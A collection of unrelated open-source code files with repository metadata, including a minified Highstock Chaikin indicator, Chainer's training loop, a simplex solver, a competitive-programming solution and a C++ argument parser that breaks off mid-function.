|
4119
|
/*
Highstock JS v9.1.0 (2021-05-03)
Indicator series type for Highcharts Stock
(c) 2010-2021 Wojciech Chmiel
License: www.highcharts.com/license
*/
(function(a){"object"===typeof module&&module.exports?(a["default"]=a,module.exports=a):"function"===typeof define&&define.amd?define("highcharts/indicators/chaikin",["highcharts","highcharts/modules/stock"],function(e){a(e);a.Highcharts=e;return a}):a("undefined"!==typeof Highcharts?Highcharts:void 0)})(function(a){function e(a,b,f,r){a.hasOwnProperty(b)||(a[b]=r.apply(null,f))}a=a?a._modules:{};e(a,"Mixins/IndicatorRequired.js",[a["Core/Utilities.js"]],function(a){var b=a.error;return{isParentLoaded:function(a,
r,n,e,h){if(a)return e?e(a):!0;b(h||this.generateMessage(n,r));return!1},generateMessage:function(a,b){return'Error: "'+a+'" indicator type requires "'+b+'" indicator loaded before. Please read docs: https://api.highcharts.com/highstock/plotOptions.'+a}}});e(a,"Stock/Indicators/AD/ADIndicator.js",[a["Core/Series/SeriesRegistry.js"],a["Core/Utilities.js"]],function(a,b){var f=this&&this.__extends||function(){var a=function(b,p){a=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(a,d){a.__proto__=
d}||function(a,d){for(var c in d)d.hasOwnProperty(c)&&(a[c]=d[c])};return a(b,p)};return function(b,p){function q(){this.constructor=b}a(b,p);b.prototype=null===p?Object.create(p):(q.prototype=p.prototype,new q)}}(),e=a.seriesTypes.sma,n=b.error,t=b.extend,h=b.merge;b=function(a){function b(){var b=null!==a&&a.apply(this,arguments)||this;b.data=void 0;b.options=void 0;b.points=void 0;return b}f(b,a);b.populateAverage=function(a,b,d,c,g){g=b[c][1];var k=b[c][2];b=b[c][3];d=d[c];return[a[c],b===g&&
b===k||g===k?0:(2*b-k-g)/(g-k)*d]};b.prototype.getValues=function(a,q){var d=q.period,c=a.xData,g=a.yData,k=q.volumeSeriesID,m=a.chart.get(k);q=m&&m.yData;var e=g?g.length:0,f=[],h=[],l=[];if(!(c.length<=d&&e&&4!==g[0].length)){if(m){for(k=d;k<e;k++)a=f.length,m=b.populateAverage(c,g,q,k,d),0<a&&(m[1]+=f[a-1][1]),f.push(m),h.push(m[0]),l.push(m[1]);return{values:f,xData:h,yData:l}}n("Series "+k+" not found! Check `volumeSeriesID`.",!0,a.chart)}};b.defaultOptions=h(e.defaultOptions,{params:{index:void 0,
volumeSeriesID:"volume"}});return b}(e);t(b.prototype,{nameComponents:!1,nameBase:"Accumulation/Distribution"});a.registerSeriesType("ad",b);"";return b});e(a,"Stock/Indicators/Chaikin/ChaikinIndicator.js",[a["Mixins/IndicatorRequired.js"],a["Core/Series/SeriesRegistry.js"],a["Core/Utilities.js"]],function(a,b,f){var e=this&&this.__extends||function(){var a=function(b,c){a=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(a,b){a.__proto__=b}||function(a,b){for(var c in b)b.hasOwnProperty(c)&&
(a[c]=b[c])};return a(b,c)};return function(b,c){function g(){this.constructor=b}a(b,c);b.prototype=null===c?Object.create(c):(g.prototype=c.prototype,new g)}}(),n=b.seriesTypes,t=n.ad,h=n.ema,v=f.correctFloat;n=f.extend;var u=f.merge,p=f.error;f=function(b){function d(){var a=null!==b&&b.apply(this,arguments)||this;a.data=void 0;a.options=void 0;a.points=void 0;return a}e(d,b);d.prototype.init=function(){var b=arguments,g=this;a.isParentLoaded(h,"ema",g.type,function(a){a.prototype.init.apply(g,
b)})};d.prototype.getValues=function(a,b){var c=b.periods,d=b.period,e=[],f=[],g=[],l;if(2!==c.length||c[1]<=c[0])p('Error: "Chaikin requires two periods. Notice, first period should be lower than the second one."');else if(b=t.prototype.getValues.call(this,a,{volumeSeriesID:b.volumeSeriesID,period:d}))if(a=h.prototype.getValues.call(this,b,{period:c[0]}),b=h.prototype.getValues.call(this,b,{period:c[1]}),a&&b){c=c[1]-c[0];for(l=0;l<b.yData.length;l++)d=v(a.yData[l+c]-b.yData[l]),e.push([b.xData[l],
d]),f.push(b.xData[l]),g.push(d);return{values:e,xData:f,yData:g}}};d.defaultOptions=u(h.defaultOptions,{params:{index:void 0,volumeSeriesID:"volume",period:9,periods:[3,10]}});return d}(h);n(f.prototype,{nameBase:"Chaikin Osc",nameComponents:["periods"]});b.registerSeriesType("chaikin",f);"";return f});e(a,"masters/indicators/chaikin.src.js",[],function(){})});
//# sourceMappingURL=chaikin.js.map
|
mit
|
Klakier/shuffle-table
|
src/Utils/array-helpers.js
|
193
|
export function removeItem(array, predicate) {
let index = array.findIndex(predicate);
if(index === -1) {
return false;
}
array.splice(index, 1);
return true;
}
|
mit
|
sowcow/dialog_tui
|
test/minitest_helper.rb
|
108
|
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'dialog_tui'
require 'minitest/autorun'
|
mit
|
johnnygreco/hugs
|
slurm/slurm-run-hugs.py
|
2022
|
##############################################
# Submit slurm jobs for running hugs
##############################################
import os
import subprocess
from argparse import ArgumentParser
from hugs.utils import project_dir, mkdir_if_needed
from hugs import slurm
from hugs.log import logger
script_dir = '/tigress/jgreco/slurm-scripts'
mkdir_if_needed(script_dir)
parser = ArgumentParser()
parser.add_argument('-r', '--run-name', dest='run_name', required=True)
parser.add_argument('-n', '--ntasks-per-node', dest='ncores',
type=int, required=True)
parser.add_argument('-p', '--patch-fn', dest='patch_fn', required=True)
parser.add_argument('-c', '--config-fn', dest='config_fn', required=True)
parser.add_argument('--nodes', type=int, default=1)
parser.add_argument('--time', default='05:00:00')
parser.add_argument('--test', action='store_true')
parser.add_argument('--use-old-pipeline', action='store_true')
args = parser.parse_args()
assert args.ncores <= 40, 'there are 40 cores **per** node!'
total_cores = int(args.ncores * args.nodes)
if not args.use_old_pipeline:
print()
logger.critical('???????????????????????????????????????????????????')
logger.warning('YOU ARE NOT USING THE OLD PIPELINE. IS THIS CORRECT?')
logger.critical('???????????????????????????????????????????????????')
print()
logger.info('submitting slurm job with {} cores across {} nodes'.\
format(total_cores, args.nodes))
task_options = [total_cores, args.run_name, args.patch_fn, args.config_fn]
slurm_configs = [
{'job-name': args.run_name,
'nodes': args.nodes,
'ntasks-per-node': args.ncores,
'time': args.time,
'filename': os.path.join(script_dir, args.run_name + '-hugs'),
'task-options': task_options}
]
template_dir = os.path.join(project_dir, 'slurm/templates')
templates = [os.path.join(template_dir, 'run-hugs')]
slurm.drive(templates, slurm_configs, test=args.test,
use_old_pipeline=args.use_old_pipeline, wait=False)
|
mit
|
wyrover/SharpDX
|
Source/SharpDX.RawInput/RegisterDeviceOptions.cs
|
1893
|
// Copyright (c) 2010-2013 SharpDX - Alexandre Mutel
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System.Windows.Forms;
namespace SharpDX.RawInput
{
/// <summary>
/// Options used when using <see cref="Device.RegisterDevice(SharpDX.Multimedia.UsagePage,SharpDX.Multimedia.UsageId,SharpDX.RawInput.DeviceFlags)"/>
/// </summary>
public enum RegisterDeviceOptions
{
/// <summary>
/// Default register using <see cref="Application.AddMessageFilter"/> for RawInput message filtering.
/// </summary>
Default = 0,
/// <summary>
/// To disable message filtering
/// </summary>
NoFiltering = 1,
/// <summary>
/// Use custom message filtering instead of <see cref="Application.AddMessageFilter"/>
/// </summary>
CustomFiltering = 2,
}
}
|
mit
|
hstarorg/LoveStory
|
03_笨笨助手/ClumsyAssistant/Models/MaterialEntity.cs
|
695
|
namespace ClumsyAssistant.Models
{
public class MaterialEntity
{
/// <summary>
/// 物料代码
/// </summary>
public string MaterialCode { get; set; }
/// <summary>
/// 物料批次
/// </summary>
public string MaterialBatch { get; set; }
/// <summary>
/// 实存数量
/// </summary>
public double ActualNumber { get; set; }
/// <summary>
/// 物料名称
/// </summary>
public string MaterialName { get; set; }
/// <summary>
/// 是否是同兴源独有的
/// </summary>
public bool IsTxyOnly { get; set; }
}
}
|
mit
|
yangdw/repo.java
|
src/main/java/com/annotations/openface/sdk/net/util/IConnector.java
|
189
|
package com.annotations.openface.sdk.net.util;
public interface IConnector {
/**
* 连接断开,由IoReader发出调用
* @param linkId
*/
void closeLink(int linkId);
}
|
mit
|
ronekko/chainer
|
chainer/training/trainer.py
|
14336
|
import collections
import os
import sys
import time
import traceback
import six
from chainer import reporter as reporter_module
from chainer import serializer as serializer_module
from chainer.training import extension as extension_module
from chainer.training import trigger as trigger_module
from chainer.utils import argument
# Select the best-resolution timer function
try:
_get_time = time.perf_counter
except AttributeError:
if os.name == 'nt':
_get_time = time.clock
else:
_get_time = time.time
class _ExtensionEntry(object):
def __init__(self, extension, priority, trigger):
self.extension = extension
self.trigger = trigger
self.priority = priority
class Trainer(object):
"""The standard training loop in Chainer.
Trainer is an implementation of a training loop. Users can invoke the
training by calling the :meth:`run` method.
Each iteration of the training loop proceeds as follows.
- Update of the parameters. It includes the mini-batch loading, forward
and backward computations, and an execution of the update formula.
These are all done by the update object held by the trainer.
- Invocation of trainer extensions in the descending order of their
priorities. A trigger object is attached to each extension, and it
decides at each iteration whether the extension should be executed.
Trigger objects are callable objects that take the trainer object as the
argument and return a boolean value indicating whether the extension
should be called or not.
Extensions are callable objects that take the trainer object as the
argument. There are three ways to define custom extensions: inheriting the
:class:`Extension` class, decorating functions by :func:`make_extension`,
and defining any callable including lambda functions. See
:class:`Extension` for more details on custom extensions and how to
configure them.
Users can register extensions to the trainer by calling the :meth:`extend`
method, where some configurations can be added.
- Trigger object, which is also explained above. In most cases,
:class:`IntervalTrigger` is used, in which case users can simply specify
a tuple of the interval length and its unit, like
``(1000, 'iteration')`` or ``(1, 'epoch')``.
- The order of execution of extensions is determined by their priorities.
Extensions of higher priorities are invoked earlier. There are three
standard values for the priorities:
- ``PRIORITY_WRITER``. This is the priority for extensions that write
some records to the :attr:`observation` dictionary. It includes cases
that the extension directly adds values to the observation dictionary,
or the extension uses the :func:`chainer.report` function to report
values to the observation dictionary.
- ``PRIORITY_EDITOR``. This is the priority for extensions that edit the
:attr:`observation` dictionary based on already reported values.
- ``PRIORITY_READER``. This is the priority for extensions that only read
records from the :attr:`observation` dictionary. This is also suitable
for extensions that do not use the :attr:`observation` dictionary at
all.
The current state of the trainer object and objects handled by the trainer
can be serialized through the standard serialization protocol of Chainer.
It enables us to easily suspend and resume the training loop.
.. note::
The serialization does not recover everything of the training loop. It
only recovers the states which change over the training (e.g.
parameters, optimizer states, the batch iterator state, extension
states, etc.). You must initialize the objects correctly before
deserializing the states.
On the other hand, it means that users can change the settings on
deserialization. For example, the exit condition can be changed on the
deserialization, so users can train the model for some iterations,
suspend it, and then resume it with larger number of total iterations.
During the training, it also creates a :class:`~chainer.Reporter` object to
store observed values on each update. For each iteration, it creates a
fresh observation dictionary and stores it in the :attr:`observation`
attribute.
Links of the target model of each optimizer are registered to the reporter
object as observers, where the name of each observer is constructed as the
format ``<optimizer name><link name>``. The link name is given by the
:meth:`chainer.Link.namedlink` method, which represents the path to each
link in the hierarchy. Other observers can be registered by accessing the
reporter object via the :attr:`reporter` attribute.
The default trainer is `plain`, i.e., it does not contain any extensions.
Args:
updater (~chainer.training.Updater): Updater object. It defines how to
update the models.
stop_trigger: Trigger that determines when to stop the training loop.
If it is not callable, it is passed to :class:`IntervalTrigger`.
out: Output directory.
extensions: Extensions registered to the trainer.
Attributes:
updater: The updater object for this trainer.
stop_trigger: Trigger that determines when to stop the training loop.
The training loop stops at the iteration on which this trigger
returns ``True``.
observation: Observation of values made at the last update. See the
:class:`Reporter` class for details.
out: Output directory.
reporter: Reporter object to report observed values.
"""
def __init__(self, updater, stop_trigger=None, out='result',
extensions=None):
self.updater = updater
self.stop_trigger = trigger_module.get_trigger(stop_trigger)
self.observation = {}
self.out = out
if extensions is None:
extensions = []
reporter = reporter_module.Reporter()
for name, optimizer in six.iteritems(updater.get_all_optimizers()):
reporter.add_observer(name, optimizer.target)
reporter.add_observers(
name, optimizer.target.namedlinks(skipself=True))
self.reporter = reporter
self._done = False
self._extensions = collections.OrderedDict()
self._start_at = None
self._snapshot_elapsed_time = 0.0
self._final_elapsed_time = None
updater.connect_trainer(self)
for ext in extensions:
self.extend(ext)
@property
def elapsed_time(self):
"""Total time used for the training.
The time is in seconds. If the training is resumed from snapshot, it
includes the time of all the previous training to get the current
state of the trainer.
"""
if self._done:
return self._final_elapsed_time
if self._start_at is None:
raise RuntimeError('training has not been started yet')
return _get_time() - self._start_at + self._snapshot_elapsed_time
def extend(self, extension, name=None, trigger=None, priority=None,
**kwargs):
"""Registers an extension to the trainer.
:class:`Extension` is a callable object which is called after each
update unless the corresponding trigger object decides to skip the
iteration. The order of execution is determined by priorities:
extensions with higher priorities are called earlier in each iteration.
Extensions with the same priority are invoked in the order of
registrations.
If two or more extensions with the same name are registered, suffixes
are added to the names of the second to last extensions. The suffix is
``_N`` where N is the ordinal of the extensions.
See :class:`Extension` for the interface of extensions.
Args:
extension: Extension to register.
name (str): Name of the extension. If it is omitted, the
:attr:`Extension.name` attribute of the extension is used or
the :attr:`Extension.default_name` attribute of the extension
if `name` is is set to `None` or is undefined.
Note that the name would be suffixed by an ordinal in case of
duplicated names as explained above.
trigger (tuple or Trigger): Trigger object that determines when to
invoke the extension. If it is ``None``, ``extension.trigger``
is used instead. If it is ``None`` and the extension does not
have the trigger attribute, the extension is triggered at every
iteration by default. If the trigger is not callable, it is
passed to :class:`IntervalTrigger` to build an interval
trigger.
priority (int): Invocation priority of the extension. Extensions
are invoked in the descending order of priorities in each
iteration. If this is ``None``, ``extension.priority`` is used
instead.
"""
if kwargs:
argument.check_unexpected_kwargs(
kwargs,
invoke_before_training='invoke_before_training has been '
'removed since Chainer v2.0.0. Use initializer= instead.')
argument.assert_kwargs_empty(kwargs)
if name is None:
name = getattr(extension, 'name', None)
if name is None:
name = getattr(extension, 'default_name', None)
if name is None:
name = getattr(extension, '__name__', None)
if name is None:
raise TypeError('name is not given for the extension')
if name == 'training':
raise ValueError(
'the name "training" is prohibited as an extension name')
if trigger is None:
trigger = getattr(extension, 'trigger', (1, 'iteration'))
trigger = trigger_module.get_trigger(trigger)
if priority is None:
priority = getattr(
extension, 'priority', extension_module.PRIORITY_READER)
modified_name = name
ordinal = 0
while modified_name in self._extensions:
ordinal += 1
modified_name = '%s_%d' % (name, ordinal)
extension.name = modified_name
self._extensions[modified_name] = _ExtensionEntry(
extension, priority, trigger)
def get_extension(self, name):
"""Returns the extension of a given name.
Args:
name (str): Name of the extension.
Returns:
Extension.
"""
extensions = self._extensions
if name in extensions:
return extensions[name].extension
else:
raise ValueError('extension %s not found' % name)
def run(self, show_loop_exception_msg=True):
"""Executes the training loop.
This method is the core of ``Trainer``. It executes the whole loop of
training the models.
Note that this method cannot run multiple times for one trainer object.
"""
if self._done:
raise RuntimeError('cannot run training loop multiple times')
try:
os.makedirs(self.out)
except OSError:
pass
# sort extensions by priorities
extension_order = sorted(
self._extensions.keys(),
key=lambda name: self._extensions[name].priority, reverse=True)
extensions = [(name, self._extensions[name])
for name in extension_order]
self._start_at = _get_time()
# invoke initializer of each extension
for _, entry in extensions:
initializer = getattr(entry.extension, 'initialize', None)
if initializer:
initializer(self)
update = self.updater.update
reporter = self.reporter
stop_trigger = self.stop_trigger
# main training loop
try:
while not stop_trigger(self):
self.observation = {}
with reporter.scope(self.observation):
update()
for name, entry in extensions:
if entry.trigger(self):
entry.extension(self)
except Exception as e:
if show_loop_exception_msg:
# Show the exception here, as it will appear as if chainer
# hanged in case any finalize method below deadlocks.
f = sys.stderr
f.write('Exception in main training loop: {}\n'.format(e))
f.write('Traceback (most recent call last):\n')
traceback.print_tb(sys.exc_info()[2])
f.write('Will finalize trainer extensions and updater before '
'reraising the exception.\n')
six.reraise(*sys.exc_info())
finally:
for _, entry in extensions:
finalize = getattr(entry.extension, 'finalize', None)
if finalize:
finalize()
self.updater.finalize()
self._final_elapsed_time = self.elapsed_time
self._done = True
def serialize(self, serializer):
self.updater.serialize(serializer['updater'])
if hasattr(self.stop_trigger, 'serialize'):
self.stop_trigger.serialize(serializer['stop_trigger'])
s = serializer['extensions']
t = serializer['extension_triggers']
for name, entry in six.iteritems(self._extensions):
if hasattr(entry.extension, 'serialize'):
entry.extension.serialize(s[name])
if hasattr(entry.trigger, 'serialize'):
entry.trigger.serialize(t[name])
if isinstance(serializer, serializer_module.Serializer):
serializer('_snapshot_elapsed_time', self.elapsed_time)
else:
self._snapshot_elapsed_time = serializer(
'_snapshot_elapsed_time', 0.0)
|
mit
|
mathemage/CompetitiveProgramming
|
fbhackcup/2020/round2/A/A.cpp
|
6835
|
/* ========================================
ID: mathema6
TASK: A
LANG: C++14
* File Name : A.cpp
* Creation Date : 20-09-2021
* Last Modified : Po 20. září 2021, 21:30:58
* Created By : Karel Ha <mathemage@gmail.com>
* URL : https://www.facebook.com/codingcompetitions/hacker-cup/2020/round-2/problems/A
* Points/Time :
* =50m
*
* Total/ETA : 12/100 pts
* Status :
* AC! Yesss!
*
==========================================*/
#define PROBLEMNAME "A"
#include <bits/stdc++.h>
using namespace std;
#define endl "\n"
#define REP(i,n) for(ll i=0;i<(n);i++)
#define FOR(i,a,b) for(ll i=(a);i<=(b);i++)
#define FORD(i,a,b) for(ll i=(a);i>=(b);i--)
#define REPi(i,n) for(int i=0;i<(n);i++)
#define FORi(i,a,b) for(int i=(a);i<=(b);i++)
#define FORDi(i,a,b) for(int i=(a);i>=(b);i--)
#define ALL(A) (A).begin(), (A).end()
#define REVALL(A) (A).rbegin(), (A).rend()
#define F first
#define S second
#define OP first
#define CL second
#define PB push_back
#define MP make_pair
#define MTP make_tuple
#define SGN(X) ((X) ? ( (X)>0?1:-1 ) : 0)
#define CONTAINS(S,E) ((S).find(E) != (S).end())
#define SZ(x) ((ll) (x).size())
// #define SZi(x) ((int) (x).size())
#define YES cout << "YES" << endl;
#define NO cout << "NO" << endl;
#define YN(b) cout << ((b)?"YES":"NO") << endl;
#define Yes cout << "Yes" << endl;
#define No cout << "No" << endl;
#define Yn(b) cout << ((b)?"Yes":"No") << endl;
#define Imp cout << "Impossible" << endl;
#define IMP cout << "IMPOSSIBLE" << endl;
using ll = long long;
using ul = unsigned long long;
// using ulul = pair<ul, ul>;
using ld = long double;
using graph_unord = unordered_map<ll, vector<ll>>;
using graph_ord = map<ll, set<ll>>;
using graph_t = graph_unord;
#ifdef ONLINE_JUDGE
#undef MATHEMAGE_DEBUG
#endif
#ifdef MATHEMAGE_DEBUG
#define MSG(a) cerr << "> " << (#a) << ": " << (a) << endl;
#define MSG_VEC_VEC(v) cerr << "> " << (#v) << ":\n" << (v) << endl;
#define LINESEP1 cerr << "----------------------------------------------- " << endl;
#define LINESEP2 cerr << "_________________________________________________________________" << endl;
#else
#define MSG(a)
#define MSG_VEC_VEC(v)
#define LINESEP1
#define LINESEP2
#endif
ostream& operator<<(ostream& os, const vector<string> & vec) { os << endl; for (const auto & s: vec) os << s << endl; return os; }
template<typename T>
ostream& operator<<(ostream& os, const vector<T> & vec) { for (const auto & x: vec) os << x << " "; return os; }
template<typename T>
ostream& operator<<(ostream& os, const vector<vector<T>> & vec) { for (const auto & v: vec) os << v << endl; return os; }
template<typename T>
inline ostream& operator<<(ostream& os, const vector<vector<vector<T>>> & vec) {
for (const auto & row: vec) {
for (const auto & col: row) {
os << "[ " << col << "] ";
}
os << endl;
}
return os;
}
template<typename T, class Compare>
ostream& operator<<(ostream& os, const set<T, Compare>& vec) { for (const auto & x: vec) os << x << " "; os << endl; return os; }
template<typename T, class Compare>
ostream& operator<<(ostream& os, const multiset<T, Compare>& vec) { for (const auto & x: vec) os << x << " "; os << endl; return os; }
template<typename T1, typename T2>
ostream& operator<<(ostream& os, const map<T1, T2>& vec) { for (const auto & x: vec) os << x.F << ":" << x.S << " | "; return os; }
template<typename T1, typename T2>
ostream& operator<<(ostream& os, const unordered_map<T1, T2>& vec) { for (const auto & x: vec) os << x.F << ":" << x.S << " | "; return os; }
template<typename T1, typename T2>
ostream& operator<<(ostream& os, const pair<T1, T2>& p) { return os << "(" << p.F << ", " << p.S << ")"; }
template<typename T>
istream& operator>>(istream& is, vector<T> & vec) { for (auto & x: vec) is >> x; return is; }
template<typename T>
inline bool bounded(const T & x, const T & u, const T & l=0) { return min(l,u)<=x && x<max(l,u); }
template<class T> bool umin(T& a, const T& b) { return b < a ? a = b, 1 : 0; }
template<class T> bool umax(T& a, const T& b) { return a < b ? a = b, 1 : 0; }
inline bool eqDouble(double a, double b) { return fabs(a-b) < 1e-9; }
#ifndef MATHEMAGE_LOCAL
void setIO(string filename) { // the argument is the filename without the extension
freopen((filename+".in").c_str(), "r", stdin);
freopen((filename+".out").c_str(), "w", stdout);
MSG(filename);
}
#endif
const vector<int> DX8 = {-1, -1, -1, 0, 0, 1, 1, 1};
const vector<int> DY8 = {-1, 0, 1, -1, 1, -1, 0, 1};
const vector<pair<int,int>> DXY8 = {
{-1,-1}, {-1,0}, {-1,1},
{ 0,-1}, { 0,1},
{ 1,-1}, { 1,0}, { 1,1}
};
const vector<int> DX4 = {0, 1, 0, -1};
const vector<int> DY4 = {1, 0, -1, 0};
const vector<pair<int,int>> DXY4 = { {0,1}, {1,0}, {0,-1}, {-1,0} };
const string dues="NESW";
const int CLEAN = -1;
const int UNDEF = -42;
const long long MOD = 1000000007;
const double EPS = 1e-8;
const ld PI = acos((ld)-1);
const int INF = INT_MAX;
const long long INF_LL = LLONG_MAX;
const long long INF_ULL = ULLONG_MAX;
void solve() {
ll N,K; cin >> N >> K;
vector<ll> S(K); cin >> S;
ll As,Bs,Cs,Ds; cin >> As >> Bs >> Cs >> Ds;
vector<ll> X(K); cin >> X;
ll Ax,Bx,Cx,Dx; cin >> Ax >> Bx >> Cx >> Dx;
vector<ll> Y(K); cin >> Y;
ll Ay,By,Cy,Dy; cin >> Ay >> By >> Cy >> Dy;
MSG(N);
FOR(i,K,N-1) {
S.PB( (As*S[i-2] + Bs*S[i-1] + Cs) % Ds) ;
X.PB( (Ax*X[i-2] + Bx*X[i-1] + Cx) % Dx) ;
Y.PB( (Ay*Y[i-2] + By*Y[i-1] + Cy) % Dy) ;
}
MSG(S); MSG(X); MSG(Y); LINESEP1;
ll under=0;
ll over=0;
REP(i,N) {
if (S[i]<X[i]) {
under+=X[i]-S[i];
}
if (S[i]>X[i]+Y[i]) {
over+=S[i]-X[i]-Y[i];
}
}
MSG(under); MSG(over); LINESEP1;
ll result = 0LL;
ll delta;
if (over>=under) {
over-=under;
result+=under;
MSG(over); MSG(result); LINESEP1;
REP(i,N) {
if (S[i]<X[i]) {
S[i]=X[i];
}
if (S[i]<X[i]+Y[i]) {
delta=min(over, X[i]+Y[i]-S[i]);
over-=delta;
result+=delta;
MSG(delta); MSG(over); MSG(result); LINESEP1;
}
}
if (over>0) {
result=-1;
}
} else if (over<under) {
under-=over;
result+=over;
REP(i,N) {
if (S[i]>X[i]+Y[i]) {
S[i]=X[i]+Y[i];
}
if (S[i]>X[i]) {
delta=min(under, S[i]-X[i]);
under-=delta;
result+=delta;
}
}
if (under>0) {
result=-1;
}
}
cout << result << endl;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cout << std::setprecision(10) << std::fixed;
#ifndef MATHEMAGE_LOCAL
// setIO(PROBLEMNAME);
#endif
int cases = 1;
cin >> cases;
FOR(tt,1,cases) {
cout << "Case #" << tt << ": ";
solve();
LINESEP2;
}
return 0;
}
|
mit
|
PeterSR/DM554
|
LP/simplex.py
|
4773
|
from Util.latex import *
import numpy as np
# Simplex method
#
# Input: Tableau (class created by performing slice() on matrix)
# Output: List of variables in basis (0-indexed, so [1,0,4,5] means that x2, x1, x5 and x6 are in the basis).
#
# The implementation assumes a maximization problem and less-than-or-equal in Ax <= b.
#
# If one of the b values are negative, the initial solution is not feasible and dual simplex must be performed (usually for one iteration). This implementation cannot do this.
def simplex(tableau, doc=vdoc):
def default_pivot_rule(cols):
return cols[0] # Whatever, just take the first column
def print_basis():
s = ""
var_list = []
for idx in basis:
var_list.append(r"x_{%d}" % (idx+1))
s = " , ".join(var_list)
return r"\{ %s \}" % s
if np.any(tableau.b < 0):
print("A value in the b column is negative, i.e. we have an infeasible starting solution.")
print("Now the dual simplex should be applied to regain feasibility.")
print("However, this implementation does not feature the dual simplex, so it must be done manually.")
return
if np.any(tableau.b == 0):
print("The tableau has degeneracies, i.e. a value in the b column is zero. Strange things might happen.")
iteration = 0
# Find the initial basis / BFS
basis = []
for i in range(tableau.n):
if tableau.obj[0,i] == 0:
col = tableau.A[:,i]
one_count = 0
zero_count = 0
for elem in col:
if elem == 1: one_count += 1
if elem == 0: zero_count += 1
if one_count == 1 and zero_count == tableau.m-1:
basis.append(i)
if len(basis) != tableau.m:
print("Basis has %d elements, but number of constraints is %d." % (len(basis), tableau.m))
doc.line(r"Initial tableau:")
doc.skip()
doc.line(tableau.toLatex())
doc.skip()
doc.line(r"Initial basis: $%s$" % print_basis())
possible_cols = [j for j in range(tableau.n) if tableau.obj[0,j] > 0]
while len(possible_cols) > 0:
iteration += 1
doc.skip()
doc.line("Iteration %d:" % iteration)
pivot_col = default_pivot_rule(possible_cols)
# Find most limiting row (constraint)
pivot_row = None
pivot_row_val = None
for i in range(tableau.m):
a_is = tableau.A[i,pivot_col]
if a_is > 0:
b_i = tableau.b[i,0]
ratio = b_i / a_is
if pivot_row_val is None or ratio < pivot_row_val:
pivot_row = i
pivot_row_val = ratio
if pivot_row is None:
raise ValueError("Something is wrong. No pivot row could be found.")
doc.skip()
doc.line("Row $%d$ and column $%d$ has been chosen as pivot." % (pivot_row+1, pivot_col+1))
doc.skip()
entering_var_index = pivot_col
exiting_var_index = basis[pivot_row]
basis[pivot_row] = pivot_col
entering_var_name = r"x_{%d}" % (entering_var_index+1)
exiting_var_name = r"x_{%d}" % (exiting_var_index+1)
doc.line(r"$%s$ enters the basis. $%s$ leaves." % (entering_var_name, exiting_var_name))
doc.line(r"New basis: $%s$" % print_basis())
pivot = (pivot_row, pivot_col)
pivot_val = tableau.A[pivot]
if pivot_val == 0:
raise ValueError("Pivot value is zero.")
# Divide pivot row by pivot val
tableau.A[pivot_row,:] *= (1 / pivot_val)
tableau.b[pivot_row,0] *= (1 / pivot_val)
# Zero out the rest of the column with row operations
for i in range(tableau.m):
if i == pivot_row: continue
val = tableau.A[i,pivot_col]
for j in range(tableau.n):
tableau.A[i,j] += -val * tableau.A[pivot_row, j]
tableau.b[i,0] += -val * tableau.b[pivot_row,0]
# We must remember to also apply these operations to the obj vector
val = tableau.obj[0,pivot_col]
for j in range(tableau.n):
tableau.obj[0,j] += -val * tableau.A[pivot_row, j]
tableau.objVal += -val * tableau.b[pivot_row,0]
doc.skip()
doc.line("New tableau:")
doc.skip()
doc.line(tableau.toLatex())
doc.skip()
possible_cols = [j for j in range(tableau.n) if tableau.obj[0,j] > 0]
doc.line(r"Final objective value: $%d$" % (-tableau.objVal))
doc.skip()
doc.line(r"Final tableau:")
doc.skip()
doc.line(tableau.toLatex())
doc.skip()
doc.line(r"Final basis:")
doc.line(r"$%s$" % print_basis())
doc.skip()
return basis
|
mit
|
OpenKastle/textgo
|
TextGo/Arguments.cpp
|
3716
|
#include "Arguments.h"
#include <iostream>
#include <algorithm>
Arguments::Arguments(int argc, char* argv[])
{
Parse(argc, argv);
}
void Arguments::Parse(int argc, char* argv[])
{
if (argc < 2)
{
m_valid = false;
return;
}
int currentArg = 1;
while (currentArg < argc)
{
std::string arg = argv[currentArg];
if (currentArg == argc - 1)
{
if (arg[0] != '-')
{
m_operand = arg;
}
else
{
m_valid = false;
return;
}
}
else if (arg.size() > 1 && arg[0] == '-')
{
if (arg[1] != '-')
{
std::string options = arg.substr(1);
if (options.empty())
{
m_valid = false;
return;
}
for (unsigned int a = 0; a < options.size(); ++a)
{
m_options.push_back(
std::make_tuple(std::string(1, options[a]), ""));
}
if (options.size() == 1 && ((currentArg + 1) != (argc - 1)))
{
arg = argv[currentArg + 1];
if (arg[0] != '-')
{
++currentArg;
std::get<1>(m_options.back()) = arg;
}
}
}
else
{
std::string option = arg.substr(2);
if (option.empty())
{
m_valid = false;
return;
}
m_options.push_back(std::make_tuple(option, ""));
arg = argv[currentArg + 1];
if (arg[0] != '-')
{
++currentArg;
std::get<1>(m_options.back()) = arg;
}
}
}
else
{
m_valid = false;
return;
}
++currentArg;
}
}
bool Arguments::HasOption(const std::string& option) const
{
auto find = std::find_if(begin(m_options), end(m_options),
[&option](const std::tuple<std::string, std::string>& optionPair)
{
return std::get<0>(optionPair) == option;
}
);
return find != end(m_options);
}
bool Arguments::HasAnyOption(const std::vector<std::string>& options) const
{
auto find = std::find_if(begin(m_options), end(m_options),
[&options](const std::tuple<std::string, std::string>& optionPair)
{
return std::find(begin(options), end(options), std::get<0>(optionPair)) != end(options);
}
);
return find != end(m_options);
}
std::string Arguments::GetOptionValue(const std::string& option) const
{
